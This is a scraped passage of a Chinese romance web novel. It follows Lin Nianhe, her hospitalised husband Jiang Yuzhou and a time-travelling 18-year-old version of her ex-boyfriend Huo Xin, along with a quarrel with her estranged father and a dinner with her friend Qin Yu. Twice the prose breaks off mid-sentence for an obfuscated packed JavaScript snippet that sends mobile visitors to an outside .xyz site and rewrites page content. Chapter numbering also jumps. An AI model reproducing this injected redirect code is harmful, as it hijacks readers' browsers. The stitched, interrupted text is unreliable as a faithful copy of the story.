林念禾猛地把脑子里的画面甩出去,刚想开口说等会儿可能还要下雨就先走了,保安亭的门倏地被人推开。 出来一个穿着制服,长相普通的年轻人,他面上带笑,冲着两个人说道:“不小心把茶杯弄翻了,桌子上全是水。” 保安小哥手提一个黑色垃圾袋,像是出来扔垃圾,“霍先生,您是遇见什么事情了吗?” 不然干嘛半夜站在小区门口不进去。 霍锌扫了一眼他身后微敞的门,门后面只有一张椅子,空荡荡的,没有其他人。 可能方才和她聊天的男人已经走了。 他呼吸紧了紧,心情莫名开始有些糟糕。除了那个在医院病得快死的丈夫,她在外面还有其他人? 霍锌当然知道她洗完澡后不愿意出门的习惯,以前上大学,周一到周四林念禾住校,洗完澡后怎么哄都不乐意下楼。 现在她为了某个不知名的男人,打破规矩。 上次见面,那一巴掌不仅落在脸上留下痕迹,还打醒了他不切实际的幻想。 像只躲在阴暗下水道里偷窥别人幸福的老鼠,在以为她不爱那个名义上的丈夫后爬到阳光处企图得到她的垂怜。 感情里的第三者会被人唾弃。他想起这些天傅阎没事转发的公众号内容,不被爱的才是小三。 还有篇公众号说,插足别人婚姻的不叫小三,叫情人,是比恋人和爱人更浪漫的存在,对方都能因为你而背叛婚姻,这如果不是爱情那什么才叫爱情。 作为经受过完整教育并且父母恩爱的正常人,霍锌不能理解到底是什么样的碳基生物居然能写出这种价值观稀烂的文章,还被傅阎找出来发给他欣赏。 他有道德底线,绝对不会为了爱情而失去理智,绝对不会插足别人的感情,即使他和林念禾曾经是密不可分的恋人。 两声狗叫唤回霍锌的理智,林念禾不知道短短几分钟,对面站着的男人在心里又暗暗发了一回誓。她拽着牵引绳要走,狗对霍锌恋恋不舍,两只爪子还想往他裤脚上扑。 林念禾眉心一跳,猛地给狗拎回来,头也不回地拉开车后座,让它进去。 虽然不知道那条裤子多贵,但肯定够买傻狗好多条小命。 她坐上车,拿出手机给小霍发了条消息,让他别动,待在那儿等她,然后开车假模假样地往自己住的小区方向去。 霍锌回到车内,司机启动车,缓缓驶进小区。视线无意略过保安亭时,他的脸色又沉下来。方才建立起来的心理堡垒,现在正无法控制地被嫉妒和占有欲强烈地攻击。 他阖上眼,慢慢地将那些情绪压下去。 林念禾开车在外面兜兜转转十多分钟,估计霍锌已经到家,她把车开回原地。 小霍出来得很快,两个人一路无言。 少年靠在车窗,不知道在想些什么,手背被开水烫过的地方明显泛红。 他们一前一后进家门,林念禾把狗塞进笼子,余光看见跟在身后的男生。 “手烫红了?” 霍锌没事人似的,神色正常,“不疼。” “坐沙发上去。” 他乖乖坐到沙发中央,看林念禾不知道从哪儿翻出来一个很大的医药箱。 里面药品种类很多,她翻找几分钟后找到治烫伤的药膏,随手把药膏和棉签扔到霍锌的腿上。 “自己涂。”然后伸手要道,“把你手机给我。” 霍锌问都没问一句,直接把手机递给她,“密码是你生日。” 林念禾解锁的手一顿,又听见他说,“用习惯了,突然改掉密码会不太适应。如果你介意的话,我可以立马改密码。” 可以把密码改成乐乐的生日,总归会和她有关联。 “你的手机改不改是你的事情,当然,按照我们的关系,我建议你最好还是改一个。” 说完客厅安静下来。霍锌的手机里很干净,除了必用的软件没有其他,她昨天把一个自己废弃不用的微信号给他,但是没有绑定银行卡。 18岁的霍锌现在就是个妥妥的黑户,线上支付不能用,只能借用她银行卡绑定。林念禾把那张转了二十万的银行卡绑在他用的账户上,转念记起想给他报个补习班的事情,于是偏头。 男生安静地坐在沙发上,密长的睫毛下垂,短袖被撩上去一截,露出肌肉紧实的臂膀。 热水不仅烫伤了手背还烫到了胳膊,因为林念禾拒绝帮人上药,他只好自食其力。 说实话,这副画面还怪好看的。帅气男高,乖巧上药。 她突然记起来自己当初同意跟他谈恋爱的一大原因,就是这人长得好看。她们老林家是有点颜狗的遗传基因,外公以前说外婆一见钟情愿意嫁给他,林母更不用说了,就是因为颜狗才会喜欢陆建林那么个绝世傻叉。 目光落在那块被烫得发红的皮肤,脑子里不自觉蹦出来一些不太干净的东西。以前她看小说,里面的女主一碰就红,林念禾跟贺渺两个人吐槽过无数回这个羸弱设定。 直到后来,第一次接吻,她不小心用力隔着衣物掐了下霍锌的腰,事后他掀起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14896253|159772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣服把那个痕迹展示给她看,林念禾大为震惊。 是的,霍锌一碰就红,偏偏这人天生冷白皮,每次她没注意留下的痕迹就更加明显了。 林念禾面无表情地把手机还给他,霍锌也涂好药了,顺手收好手机。 她把脑海里那些废料全部甩出去,总觉得今晚的他异常安分。 “我打算给你报个高三复习班,你怎么看?” 霍锌把刚用完的棉签扔进垃圾桶,“可以。” “单科不够,我觉得按照你现在的成绩至少得报个全科。” “行。” 林念禾上下扫了他一圈,仔细感受刚才回话的语气,确实是自愿,疑惑道,“你不是不爱学习吗?” 霍锌高三那会儿,真是纯为爱发奋学习,一边学得犯恶心想吐,一边从地上爬起来继续学。 “你喜欢爱学习的?”他冷不丁扭头,对上她的眼睛。 江予州博士学历,读书的时候还跳过级,白天给他送饭,霍锌看见床头摆着好几本书,活脱脱热爱学习的样子。 “嗯?”林念禾不知道他问什么,“还行。” 听见回答的少年明显心情好了一点点,他站起来往房间去,“我睡了,明天早上想吃什么,记得发我手机上。” 时间确实不早了,霍锌的房间门被关上,林念禾也起身回房间。 入睡前一秒,她突然后知后觉,今天遇见28岁的霍锌,他回来后没提过一句。 18岁的孩子心思多,猜也猜不出来,那就不猜了。 睡意来袭,林念禾翻了个身,心无杂念地进入梦乡。 隔壁房间,霍锌没睡着。 按照他的性格,如果分手后不喜欢了,遇见对方估计连车都不会下。 最了解自己的人莫过于自己,哪怕中间差着九年的阅历,但人的底色是不会变的。凭今晚这次短暂的见面,他很确定,28岁的霍锌还喜欢林念禾。 他主动提分手,等林念禾结婚后又在一边偷偷玩深情暗恋。 脑子有病吧。 三年前霍家争权发生的事情,不足以让他提分手。 到底还有什么事…… 外面的雨声渐渐变大,伴着雨打在玻璃上的声音,少年闭上眼,意识模糊。 彻底睡过去的前一秒,他想到医院的江予州。 林念禾肯定没多爱他。 林念禾早上起床,和昨天不同,霍锌在家。桌上摆了她爱吃的早餐,等吃完饭,他把她的包主动拿过来,送她出门。 太贤惠了。 一连好几天,贤惠得无可挑剔,以至于她的良心都开始不安。 因为一贯习惯把陆建林说过话当空气,所以当天陆建林的生日,四个黑衣保镖守在她的车边守株待兔,差点给她吓得原地喊救命。 几个黑衣保镖也有点尴尬,但老板的吩咐是绑也要给他把人绑去。 林念禾放弃挣扎,因为她的态度过于配合,所以黑衣大哥没有拿绳索捆绑。 保姆车一路向别墅区出发,等到门口,几个保镖十分客气地把她请下车。 脚刚跨过大门,一个茶杯啪地碎在脚边。 15. 第 15 章 家里一片狼藉,几个保姆正大气不敢出地低头打扫现场。温诗肩上搭着一块披肩,站在他身边安抚陆建林的情绪。 瞧见林念禾空手进屋,陆建林心情顿时好了几分。 虽然今天生日,女儿没送礼物,但人来了,对他来说就是最大的礼物。 “终于肯回家看我了,还以为你的脊椎比石头还硬,不回来呢。”陆建林矜持地冷哼一声,气氛突然缓和下来。 “我怎么回来的,你得问你的保镖。”她不耐烦地催,“赶紧吃饭,吃完我回去还有事。” 陆建林脸色僵了一瞬,温诗忙出来打圆场,“肯定饿了吧,你爸知道你工作忙,所以特意选的晚上一家人吃顿饭。楼上房间阿姨都收拾好了,要不今天晚上歇一晚,明天让司机送你去上班。” “我早说过,你趁早辞职回公司上班。”他起身,往餐厅去。 “一个破部门主管,有什么前途。鑫力一年不如一年,接手的儿子也是废物,不堪重用,哪里比得上咱们家公司。你肯听话,以后陆家的一切都是你的,非要整天跟我摆冷脸,不知道对你有什么好处。” 这一段话,过去几年间,陆建林来来回回在她耳边说过不知道多少次。 话里话外透着一股看不起,结果到了酒桌上,面对鑫力的董事长——徐寒他亲爹,摆出一副好人嘴脸跟对方寒暄,互相有来有往地吹捧。 陆建林做人底线不高,但商业嗅觉灵敏,运气好,抓住时代风口。那个年代大家都一穷二百,他却敢想敢干,白手起家一步步到如今的地位。 温诗朝林念禾笑了笑,紧跟上去扶着他。 十年前,他出过一次车祸,腿部受伤,国内国外最好的医疗资源下还是没有办法痊愈。 她目光落在温诗手臂上的划痕,看上去像是刚才陆建林发火弄伤的,没破皮,只是有些红肿。 那次车祸,陆建林险些丧命,不止左腿严重受伤,还失去了生育能力。不知道是不是因为自尊心受挫,之后,对于身边的女人态度越来越差。 温诗能和他成功结婚,倒是让林念禾刮目相看。 现在看来,能跟这个傻叉一块生活,全靠足够能忍。 吃饭时,林念禾刚嚼了两口米饭,一只鸡腿空降进碗里。 陆建林举着筷子,往她碗里添菜,“我记得你小时候最爱吃排骨了,每次带你去菜市场,你都喜欢赖在卖排骨的摊位前不肯走。” “然后拉着我衣服,跟我撒娇,说爸爸给我买一个吧,回去让妈妈给我做。” 陈芝麻烂谷子的事,她都不记得是几岁干的。林念禾沉默了一瞬,才发现这桌饭全是按照她小时候喜好做的。 挺可笑的,五岁后再也没见过父亲,27岁得到了他的关心。 童年时期等不到的父爱,像一颗过期的劣质糖果,裹着算计利用,被人强硬地塞进嘴里。她的口腔泛起一股苦味,饭菜顿时难以下咽。 林念禾突然没了兴趣,眼底是快要溢出来的厌烦,“我现在不喜欢了。” “那你喜欢什么,爸爸给你买。昨天你温阿姨去拍卖场看见条红宝石项链,觉得衬你。等会吃完饭,你看看喜不喜欢,要是不喜欢,我下次让人给你买其他颜色的宝石。” 温诗接话道,“珍珠也好看,念禾肤色白,带着肯定好看。” “你死了心吧,我是不会回陆家的。” 话音落下,餐厅里的空气瞬间变得像一滩无法流动的死水。 陆建林握着筷子的手顿了顿,压抑着怒气,问道:“为什么不愿意回来。回来后陆家、公司,我名下所有资产都是你的,你只要老老实实结婚生个姓陆的孩子。” “我是生育的工具吗?”,林念禾不能理解他的固执,索性把碗筷放下,扭头质问。 “我没让你不工作,只是希望你接手公司,然后孩子能姓陆。” “孩子姓陆?我姓陆的时候,你有看过我一眼吗?”林念禾偏头看他。 记忆里长相出色的年轻父亲眼角早已出现皱纹,体态不复当年的清瘦,常年病痛折磨让他的面相变得刻薄。 “我被你外面的女人推下楼梯,躺在病房里眼睛都睁不开,你在病房门口和我妈吵着要离婚。陆建林,你现在多看我一眼,就是因为我是你唯一的孩子。世界上只有我身上流着你一半的血。” 温诗在他俩开始争吵,就放下碗筷出去了。 餐厅只剩下他们两个人,提到往事,陆建林像一头垂老的狮子,“不是的,我当年有苦衷,你得理解我。” 孩子的话语如同一把锋利的刀刃扎进胸膛,穿破心脏。 今时不同往日,他对林念禾是有父爱的。哪怕这份爱里,参杂着更多的血脉观念。他奋斗一生,不能把公司拱手让给别人,侄子侄女之类的亲戚关系再好,也隔着一层。 “什么苦衷?”林念禾反问,“什么苦衷能让你十几年对我不闻不问。” 他张了张嘴,无力地解释:“我是你爸,再怎么样你也不能恨我。” 提到这些,陆建林仿佛抓住最后一根稻草的溺水者,“没有父母不爱自己的孩子,我那个时候想去看你,每次都被你妈赶出来。” 林年禾出院后,他去过一次,被林母直接骂了出来。 “不说了,我走了,晚上回去有事。” 她想结束这场争吵,根本没有意义,纯粹浪费时间,“我们还是少联系。” 陆建林没有出声阻拦,迈出陆家的那刻,林念禾犹如新生。 林母恨他,她也恨他,恨他年幼时的忽视,恨他水性杨花朝三暮四,外面的女人一个接一个,也恨他多年后拿着上帝者的姿态来插手她的生活。 晚上从医院回家后,霍锌瞧她脸色不好地一头栽进房间,难得没有多问。 第二天上班, 林念禾进办公室,看见徐寒坐在自己的位置上,自然地翻着她桌上的文件。她握住门把的手一顿,很快转了一副狗腿模样。 “小徐总,有事找我?” 徐寒不咸不淡地瞥她一眼,“怎么,你对我有意见,我没事就不能来?” “那当然不是,就算你把我办公室改成你的卧室,我都没意见。” 他轻飘飘睨她,"想的倒挺美。" 林念禾:? 他大清早脑子被驴踢了,连阴阳都听不出来。 徐寒把手里的文件扔回桌面,起身,剪裁得体的西装将他优秀的身材比例衬托得更加完美。 他长相确实出色,但在林念禾眼里他跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910556|159772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垃圾桶没区别。 公司八卦群里,徐寒的帅气没有吸引到任何迷妹,只有他本人的八卦能在群聊里掀起水花。 林念禾静静看他一步一步向自己走来,精致的下颚线配上冷漠的表情…… 他现在最要紧的事是把手机里的洋柿子小说给卸载了。 神经病吧,摆出一副霸总样。 "下午跟我出去见个客户。" "好的,徐总。" 送走徐寒,林念禾坐在位置上有些摸不着头脑。其实这种小事,他打个内线电话让助理吩咐就行,没必要亲自跑一趟。 下午见完客户,从会所出来。 天空下起细密密的小雨,因为没有伞,徐寒让她去车里拿伞,再来接他。 不知道大少爷抽什么疯,今天司机请假,他让她当司机。明明会所旁边有伞他不要,就乐意折腾她。 林念禾提着伞回去,就看见一个穿着红裙子的女孩儿站在徐寒跟前,哭得梨花带雨。 林念禾:…… 想跑。 她能不能把他丢在这里,自己开车回公司。 女孩儿长得很漂亮,年纪不大,看着像是上大学的样子,一边哭一边想去拉他的手,却被徐寒毫不留情地甩开。 "为什么分手,你说过最喜欢我了。我们之间不能这样结束,你得给我一个理由。" 她被断崖式分手,这几天哭得眼睛红肿,除了哭就是哭,连上课都不去上了。 徐寒对她好,酒吧里碰见,他说一见钟情,又是送花又是送包。她快溺死在他的温柔里时,突然给她发了一条分手短信和一笔转款,然后拉黑了全部联系方式。 "我不想谈了。"他低眸,没什么情绪地望她,女生现在的模样很可怜,可惜没让他心里多出一点同情心。 谈恋爱不就这样吗,讲究你情我愿。两个月,他觉得没意思了,想甩就甩。 "那笔钱你不是收了吗?"他朝远处的林年禾招手,眼里暗含威胁,示意她过来。 "收了就两清了。" 女生满是不可思议,眼泪顺着脸颊滑下,"你拿钱打发我。你明知道我跟你谈恋爱,学校里那些人都在背后议论我,现在又说我们两清了。徐寒,你到底有没有爱过我?" 学校里的人把她挂表白墙,说她傍大款的话一句比一句难听,她为了徐寒忍受那么多,他居然想分手。 徐寒歪了歪头,像是短暂思考一下,"不至于爱,顶多对你有兴趣。现在兴趣没了,就不想谈了。" "我是哪里做的不好吗,我可以改。"女生拉住他的袖子,声音颤抖,知道如果不能让他回心转意,会彻底失去他,"是不是上次我不让你喝酒,你不高兴了?" 上次朋友聚会,他带着她去,恋爱期的女孩使点小性子很正常,但管得太多,他当时心情就有些不好。 几米外假装空气的林念禾听见这段对话,心里五味杂陈。 人和人果然不一样,以前的霍锌虽然也经常不当人,但很守男德,恋爱也不会仗着有钱说这种话。 徐寒果然是垃圾。 那边女生挽留的声音越来越大,林念禾默默低头数着地上的瓷砖打发时间。 突然视野里多出一双皮鞋。 第19章【VIP】 第19章 第19章他在她心里不如狗 林念禾的反应比霍锌想象中的要平淡很多,一脸平静地走进来关上门,随手拿起江予州床头柜上的书,翻了翻,问:“他惹你生气了?” 话音一落,坐在长椅上的男生低头,唇角勾了下,又很快恢复。 这话明显是偏向着霍锌的,江予州眼眸暗了一瞬,本想像以前那样息事宁人,说一句没有,把事情轻飘飘地掀过去。 可霍锌身上的气息过于得意嚣张,眼神直勾勾盯着他,仿佛在嘲笑他的不自量力。 那颗嫉妒的种子突然间破土而出,他倏地装不下去温和的假面孔。 父母还在的时候,他从小就是班里脾气最不好的那个。写了名字的书本不让别人碰,父母不可以随便进入自己的房间,水杯毛巾之类的私人物品从来不和别人共用。 像一只小小的狮子,对一切私有领域都有超强的占有欲。被接到大伯家后,他抱着妈妈送的那只玩偶小熊,对上表妹期待的眼神,第一次让出自己的东西。 江予州学着他们所期望的样子,当一个好哥哥,懂事性格随和,好相处,事事让着妹妹,监督江黎学习,考上好大学。 装久了,连自己都快忘记内心最深处的阴暗面。明明是最不喜欢别人觊觎自己东西的人,偏偏套上一副宽仁随和的假面具。 他很喜欢林念禾,比她要以为的深很多。讨厌出现在她视线范围内的所有雄性生物,讨厌一切能夺走她注意力的事物。世界就该是座孤岛,岛上只有他们,他们是彼此的唯一。 江予州抬眼,开玩笑的口气问:“如果我说他惹我生气了,我不喜欢他,你会怎么样?” 是会和稀泥护着那个自称表弟的人,还是会站在他的一方。 房间的温度仿佛瞬间降下去几度,安静得让人喘不过气。 林念禾停下手里的动作,看到他脸上略带认真的表情,“不喜欢的话,我让他以后不准出现在你视线范围内。如果是特别讨厌,我可以去问问护士那边,能不能在病房门口挂一个表弟和狗禁止进入的牌子。” 又偏过头对着霍锌,“你去车里等我。” 她和江予州是一家人,霍锌算外人。胳膊肘无论往哪个方向拐,都是无理由偏向自家人的。 更何况,那么多年的相处,她知道霍锌脾气差,说话有时候很难听,把刚见两面的人气到直言讨厌,也不是没可能。 少年被她的态度震惊到回不神,一双好看的眼睛流露出破碎,长腿架起又放下,最后站起来,“林念禾,你……” 她居然把他跟狗做比较,还偏向那个要死的男人。 三个月前,18岁的林念禾抱着他,说全世界最喜欢他了。 现在的林念禾无条件站在她的丈夫一侧。 怒气涌上脑子,他冷下脸,“行,我不打扰你们。” 房间里剩下两个人,林念禾倒了杯水给江予州,坐在床边一时间不知道该说什么,脑子里乱糟糟的,像有块石头沉在心里。 “明天伯父伯母来,可以住我爸妈的老房子,我等会儿把门锁密码给江黎,你就别操心这些。” 老人来A市看他,肯定为了节约不愿意住酒店,要是去和林念禾住一起,生活上面或多或少会产生摩擦,到时候她受委屈不说,他又该心疼了。 “行。”林念禾缓缓掰开手中橘子的外皮,露出黄色的果肉,往他嘴里塞了一瓣。 橘子不甜,很酸。江予州却面不改色地咽下了,整个口腔回荡着酸涩,刺激他的味觉,兴奋的神经在脑子里不停叫嚣。 他掐了掐她的脸,“不高兴” 从进门开始,她就心不在焉。 秦於找她,除了病情也不可能说其他的东西让她不高兴。 林念禾笑了下,“没有,刚刚在想公司里的事。” “今天我们老板的前女友找上门吵架,就在距离我两米远的地方。大厅的前台录下来发给公司的一个职员,不到一个小时,传得整个公司的人都知道。” 她简单重复了两个人的吵架对话,跟江予州分享这件八卦,好让前面说的假话,看起来更真。 江予州一直很温柔地静静注视着她,眼里是化不开的爱意,像汪海洋包容她的一切。 说话时的小动作落在他的眼里,很可爱,学徐寒渣男语气,也很可爱。 林念禾说着说着,忽而停下来。她不自在地抠了抠手下的被子,“江黎回学校了?” 话题转得很生硬,她第一次看见江予州这幅爱意浓切的样子。两个人没有热恋直接进入婚姻,一贯是老夫老妻式的相处模式。彼此为彼此考虑很多,说出口表达的情感少之又少。 江予州摸摸她的脑袋,心里莫名发痒,突然有些忍不下去。 手腕上的一股力气把她扯向他的怀里。 林念禾稀里糊涂地埋在他的肩膀上,温热的呼吸撒在颈间,男性的气息包裹住她,她察觉到一丝危险。 和上回那次在病房的拥抱不太一样,她手心贴着江予州的胸膛,感受到对方起伏的心跳,一下比一下强烈,像在努力克制着某种情绪。 “那你呢,如果你前男友回来找你,你还 会选我吗?”江予州的声音很沉,他迷恋着她的气味,理智摇摇欲坠,见不得人的想法挤满了脑海。 他发现怀里的人僵硬了一下,接着慢吞吞道,“我知道我不该问,你不回答也可以。” 就当他今天是疯了,才会问这种问题。 林念禾不知道他为什么问了这个问题,她以前没在他面前提过霍锌。 “当然选你,我为什么要选别人” 紧紧抱着她的人过了好久,才开口,“江黎说她等会儿吃完饭,继续过来陪我。” 江予州松开手,恢复了正常的样子,“我怕哪天去地下跟你前男友遇见,还得吵架,争论你更爱谁。” “江予州你今天脑子也进水了是吗,什么地下不地下的,你再说一次,我就拿东西把你嘴粘起来。” 她像只被踩着尾巴高跳脚的猫,毛全部炸开,情绪陡然激动,骂道,“我应该把你和秦於摆在一块,拿烘干机把你俩脑子的水烘出去。竟然敢说这种晦气话。” 江予州突然俯身亲了她一下。 本来还有一肚子话骂人的林念禾,瞬间鸦雀无声。 她张了张嘴,一脸茫然。 江予州叹了口气,又上前亲她。这个吻和之前那个短暂的相贴不同,他一手摁着她的后脑,另一只手压着她放在床上的手背,动作强势。 太多太多无法言语的感情化在唇齿间,他想和她过一辈子的,看着她变老,头发变白。 可惜老天不公,上天没给他这个机会。让他用光了所有的运气遇见她,和她结婚,然后就收走了。 江予州咬着她的唇,控制不住脑子里的恶念,拉着她下地狱怎么样。 他亲得很凶,力气越来越大,林念禾不由自主地开始推他。 唇瓣紧贴碾磨,他勾着她,意识一点点沦陷。过了好久,江予州后撤松开,呼吸凌乱,额头贴着她,眼角泛红,“对不起。” 林念禾耳朵红到不行,唇瓣微肿,老夫老妻了,亲一口怎么了,他居然跟她道歉…… 江予州侧头啄吻她的耳后皮肤,吻慢慢往下,最后又克制地落回鼻尖。 他替她拢好碎发,“以后不会说这种话了,我保证。” 她抓住他之前压着自己,现在想往回收的那只手。 刚想说话,门突然被人打开,有人往里走了几步,然后倏地猛跑出去带上门。 门外, 见江黎进去又突然出来,霍锌背靠着墙,眉眼阴郁,“怎么了?” 江黎一脸尴尬,脸不自然地慢慢红了。 她哪知道这俩人感情这么好,独处都能抱在一块儿。 得不到回答,本来心情不好的少年,情绪更加糟糕。他冷冷暼了一眼跟前的女生,懒得同她废话,二话不说,径直去开门。 江黎吓了一大跳,眼疾手快摁住他,“你干什么!” 霍锌神情很淡,没说话,望向她的瞳孔漆黑一片,压迫感扑面而来。 她被盯得害怕,解释,“你要理解,你姐和我哥感情很好,两个人需要独处空间,我们不能老是像个八百瓦的电灯泡一样杵在中间。” 他冷笑,在心里反复品了品那句感情很好,直接转动门把手,开门进去。 林念禾刚从江予州的怀里出来,两个人的手还没松开,看见霍锌进来,后面紧跟着没拦住他的江黎。 霍锌表情很不好,他不是傻子,高三早恋,两个人私底下亲过很多次,他知道林念禾这幅样子八成是江予州对她做了一些事情。 “嫂嫂,我哥这里有我陪,你去吃饭吧,时间也不早了。” 江黎站出来打圆场,“你表弟说他饿了,所以进来催你。” 林念禾知道刚才进来又出去的肯定是江黎,想到刚刚两人抱在一块的样子被她看见,有些不好意思,“那我先走了,有事记得给我打电话。” 她带着霍锌离开,因为晚上答应和秦於吃饭。 秦於发消息说还有二十分钟,让她先在车里等一下。 林念禾玩了会儿手机,霍锌坐在副驾上一言不发。 车里安静得气氛压抑,她收起手机,发现嘴角有些刺痛,从包里拿出块镜子,发现那块被江予州咬破了。 属狗的吧,力气那么大。 默默骂完江予州,她余光扫到副驾驶的人,清清嗓子,嘱咐,“估计秦於吃饭的时候会问东问西,我骗他说你是我表姨和你堂叔的儿子,你别说漏嘴。” “刚在病房,你和他在干什么” 霍锌偏头,冷声质问,“他亲你了,还是抱了?” 林念禾把镜子放回包里,“问那么多做什么。” 和他又没关系,哪怕是27岁的霍锌坐在副驾驶上,同样没资格问这种问题。 他们是合法领证的夫妻,就算私底下有什么不为人知的癖好,别人也管不着。 睡一张床上,他只有旁观的份儿。 霍锌扯过她的手,逼着她直视自己,那块破掉的嘴角,在他眼里格外刺眼,像根钢针扎进心脏。 “是不是我和他之间,你一定会毫不犹豫地选择他。” 一场时空穿越,他突然变成了林念禾最不在意的人,比马路边路过的陌生人都要低等三分。 “问出这种话之前,你不会先思考一下咱们现在的关系吗?” 林念禾今天一连骂了两个人,又在老板那里受了气,现在攻击力强得可怕。 “我知道你年纪小,不能接受现实。接受了之后,说不定穿回去还会跟以前的我分手。没关系,反正早晚都是要分的,你18岁提分手,和24岁提分手,对我来说都一样。” 她同意和他交往,纯粹是因为喜欢。既然这份喜欢没法儿得到结果,长痛不如短痛,直接结束早恋,等待大学的第二春。 霍锌睫毛颤了颤,沉默好久,“所以你不喜欢我是吗,18岁的时候就不喜欢。” 不然为什么分手两个字,在她眼里跟喝水吃饭一样简单。 “我是想让你别干扰我的生活。” 林念禾反问,“你想我怎么样,让我像以前那样喜欢你,跟江予州离婚,然后和你甜甜蜜蜜谈恋爱” 霍锌自嘲地笑了下,压下内心的火气,放开她,“行,可以,你想怎么说都行,在你眼里我连路边的狗都不如。” 他把头歪向另一侧,剩个后脑勺对着她,不再说话。 吵架没意义,他在林念禾的心里已经没地位了。 江予州,一个老绿茶,天天装好人,也就她看不出来。 两个人互相平复情绪时,秦於下班了,走到车前跟林念禾挥挥手,拉开后车门坐进来。 “我为什么脑子抽了学医,当初劝我学医的那个人真该死。” 林念禾发动车,“你妈劝的。” “……” 他尴尬一笑,“那话又说回来了,我觉得学医挺好。” 秦於提议吃火锅,林念禾在网上找到一家评价不错的火锅店,晚上吃饭人多,就剩个包厢。 服务员给三个人挨个倒水,然后拿着点完的菜单离开。 霍锌沉默地替她拿来一件围裙,怕等下油溅到衣服上。 坐在对面的秦於,摸着下巴,感叹,“你表弟的长相,让我梦回高中。而且他以前就喜欢这样伺候你。” “我当时怕影响你们感情,都不敢跟你说。你前男友真孙子,一点人都不做,那个时候我跟你走得但凡近一点,他就放学拽着我打篮球,在篮球场上把我当篮球撒气。” 少年给她系围裙带子的手一顿,神态自若地打出漂亮的蝴蝶结。 林念禾根本不知道还有这回事,呵呵两声,看了看旁边的男生。 秦於跟倒豆子似地诉苦,“还有啊,高二你跟他谈恋爱之前。有次你生病,我替你妈去你班上给你送感冒药。他以为我是你追求者,直接站在我班门口,勾着我肩膀威胁我说,兄弟你要是喜欢林念禾的话,我劝你早死了这条心,她是我们班的第一,以后的省状元,你配不上她,别打扰她学习。” “……” “你说他哪来的脸说这话,他成绩那会儿比我还烂。” 霍锌有些扛不住自己的秘密被人往外一直抖搂出去,用公筷给他夹肉,“哥,吃饭。” 秦於捧着碗,感慨万千,“有生之年,能让这张脸管我喊哥,值了。今天的饭我请客!” 他一边吃,一边继续吐槽,“你知道我为什么后来上大学,不怎么跟你说话吗?” “你说你谈恋爱要跟我避嫌。”林念禾疑惑,“难道不是” “避嫌个毛线啊,咱俩都是过年回家见面,平时根本不联系,联系也是在家庭群里面,纯得不能再纯的朋友关系。是霍锌说,你吃醋他身边有女性朋友,不让他跟女的玩,所以他也不准你跟男的玩。我以为因为我,你俩吵架了,所以压根不敢跟你在网上联系。” 秦於说得眼泪汪汪,“你知道我那段时间,吃不下睡不好,备忘录里写了n个没发出去的小论文劝你俩和好,半夜睡一半良心不安地起来给自己一个巴掌,就怕你俩因为我的事情关系变差,分手。” “……” 她身边只有这一个男发小,其他都是女生。还真不知道原来霍锌背着她干了这么多事情,在秦於面前扯那么多谎。 旁边一直埋头吃饭的男生,突然插进来,“哥学的是什么专业,我以后填志愿也想报医学。” 秦於的注意力瞬间跑偏,“学医好啊,报临床医学,以后工作有保障,年纪越大越受重视。其他专业三十五岁被辞退,你三十五岁前途似锦。” 林念禾:…… 她举着筷子的手停在半空,无语地听他忽悠人。 因为自己淋过雨,所以秦於立志撕烂每一个高三学子的伞。 十分钟后,秦於终于结束长篇大论,他盯着这张脸,止不住地好奇,“你哥平时对你怎么样” 霍锌滴水不漏地回答,“我们平时见面不多。” “那你觉得他人怎么样,如果他想欺负你姐,你帮谁?” 林念禾踢了他一脚,“问些什么破问题,你查户口呢。” 秦於抱着脚,吃痛道,“干什么,我就好奇问问。他俩长得太像了,你身边就这么一个战斗力能护着你,万一哪天霍锌脑子又抽了,跑回来找你,你哪有本事对付他。” “人家不会的,指不定过几年就结婚生孩子,还让我去随礼。” 林念禾烦躁地给他夹了一筷子最不爱吃的香菜,“我到底有多自恋才会觉得前男友对自己恋恋不忘,你要再问这种问题,我就给你前女友打电话,说你喝多了抱着酒瓶喊她名字。” 霍锌不动声色地把香菜从秦於碗里挑出来,换了公筷给他碗里夹新的香菜。 “我靠,你好恶毒。你分手抱着柱子哭,还对着贺渺表白挽留,说霍锌能不能不分手,我都没有嘲笑你。” “……” 她很想鲨了秦於,这张破嘴从来没有把门的,抖完霍锌的黑料,抖她的。 他俩的友谊,全靠她的包容。 一旁的霍锌,默默替他换了个干净碗。 “好了,不聊了,我们放过彼此,你上回说的那个手办,贺渺说从国外帮你带了一个回来,让你有时间去拿。” 秦於低头看见干净的碗,有些疑惑,嘟囔:“我刚才的碗呢。” “等放假吧,最近没时间。” 吃到快结束,他安静下来,很正经地提起杯子,“我明天还要上班,不能喝酒,拿果汁敬你一杯,给你加个油,鼓鼓气,希望好运降临。” 林念禾放下筷子,举着杯子和他对碰,“真的感谢你,我妈和江予州的事,你帮了我很多。” “我是你哥,小时候我老在你面前哭鼻子你都不往外说,长大了我帮你忙也是应该的。”他认真道,“不管有没有希望,总得试试。” “我妈说过段时间中秋,让你来我家过节,她好久没看见你了。” 林念禾灵光一闪,“上次阿姨拜的那个庙,地址发给我。” 秦於惊诧,“状元还迷信” “什么方法我都试试,万一呢。” 她收拾东西,起身,跟他闲扯,“等会儿要我送你回医院吗?” “不用,我妈给我安排了个相亲对象,晚上看电影。” “晚上看电影,你心思不纯啊,哪个女孩能搭理你。” 